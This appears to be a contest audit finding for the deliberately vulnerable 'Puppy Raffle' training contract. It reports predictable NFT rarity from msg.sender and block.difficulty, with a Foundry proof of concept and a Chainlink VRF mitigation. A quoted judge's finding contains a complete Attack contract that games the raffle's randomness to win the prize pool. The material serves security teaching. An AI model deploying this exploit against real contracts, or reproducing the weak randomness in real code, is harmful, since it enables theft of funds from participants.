Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Predictable NFT Rarity Assignment Allows Manipulation of Rare Token Distribution

georgibuilds

Root + Impact

The NFT rarity assignment uses predictable on-chain data (`msg.sender`, `block.difficulty`) allowing attackers who control when `selectWinner()` is called to predict and potentially influence which rarity level they receive. While this doesn't guarantee specific rarity outcomes, it provides unfair advantage in rare NFT distribution.

Description

  • NFT rarity is determined using only two predictable inputs:

function selectWinner() external {
// ... winner selection ...
uint256 tokenId = totalSupply();
// @audit Only msg.sender and block.difficulty - both predictable!
uint256 rarity = uint256(keccak256(abi.encodePacked(
msg.sender, // @audit Caller address (known)
block.difficulty // @audit Public blockchain data (constant in PoS)
))) % 100;
// Rarity distribution:
// 0-70: Common (70%)
// 71-95: Rare (25%)
// 96-99: Legendary (5%)
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
}
```
```
Attack vector: Caller can predict rarity before calling selectWinner(). Combined with the ability to predict winners (separate finding), attacker can optimize for both winning AND receiving desired rarity.
​
Note: block.difficulty is deprecated in PoS Ethereum and remains constant, making prediction even easier.

Risk

Likelihood:

  • Requires attacker to win raffle (separate vulnerability enables this)

Prediction calculation is simple off-chain

  • block.difficulty changes very rarely (or never in PoS)


Impact:

  • Unfair distribution of rare NFTs

Collectors of rare NFTs are disadvantaged

Protocol's rarity distribution becomes manipulable

Does not directly steal funds, but affects NFT value/fairness


Proof of Concept

// Add to test/PuppyRaffleTest.t.sol
​
function testPredictableRarityManipulation() public {
// Setup players
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
// Attacker can predict rarity BEFORE calling selectWinner()
address attacker = address(this);
uint256 currentDifficulty = block.difficulty;
uint256 predictedRarity = uint256(keccak256(abi.encodePacked(
attacker,
currentDifficulty
))) % 100;
console.log("Predicted rarity value:", predictedRarity);
if (predictedRarity <= 70) {
console.log("Will receive: COMMON");
} else if (predictedRarity <= 95) {
console.log("Will receive: RARE");
} else {
console.log("Will receive: LEGENDARY");
}
// Attacker decides whether to call based on predicted rarity
// If targeting Legendary and prediction shows Common, attacker can:
// - Use different address (if controlling multiple)
// - Wait for difficulty change (rare in PoS)
// - Accept Common or skip calling
// Demonstrate prediction accuracy
puppyRaffle.selectWinner();
uint256 tokenId = 0;
uint256 actualRarity = puppyRaffle.tokenIdToRarity(tokenId);
// Verify prediction matched actual
if (predictedRarity <= 70) {
assertEq(actualRarity, 70, "Should be Common");
} else if (predictedRarity <= 95) {
assertEq(actualRarity, 25, "Should be Rare");
} else {
assertEq(actualRarity, 5, "Should be Legendary");
}
console.log("Prediction was accurate!");
}
​
// Run: forge test --mt testPredictableRarityManipulation -vv
// Result: Demonstrates attacker can accurately predict NFT rarity before execution

Recommended Mitigation

Alternative (if keeping current RNG): Include additional unpredictable entropy like block.prevrandao (PoS) or future block hash, though Chainlink VRF is strongly recommended for true randomness.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "Raffle not over");
require(players.length >= 4, "Need at least 4 players");
+ // Use Chainlink VRF for both winner AND rarity (recommended)
+ // Or use commit-reveal for both
+
+ // If using Chainlink VRF:
+ s_requestId = COORDINATOR.requestRandomWords(...);
+ // Then in fulfillRandomWords callback:
+ // uint256 randomness = randomWords[0];
+ // uint256 winnerIndex = randomness % players.length;
+ // uint256 rarity = (randomness / players.length) % 100; // Reuse same random value
- uint256 rarity = uint256(keccak256(abi.encodePacked(
- msg.sender,
- block.difficulty
- ))) % 100;
+ uint256 rarity = (verifiableRandomNumber / players.length) % 100;
// ... rest of rarity assignment
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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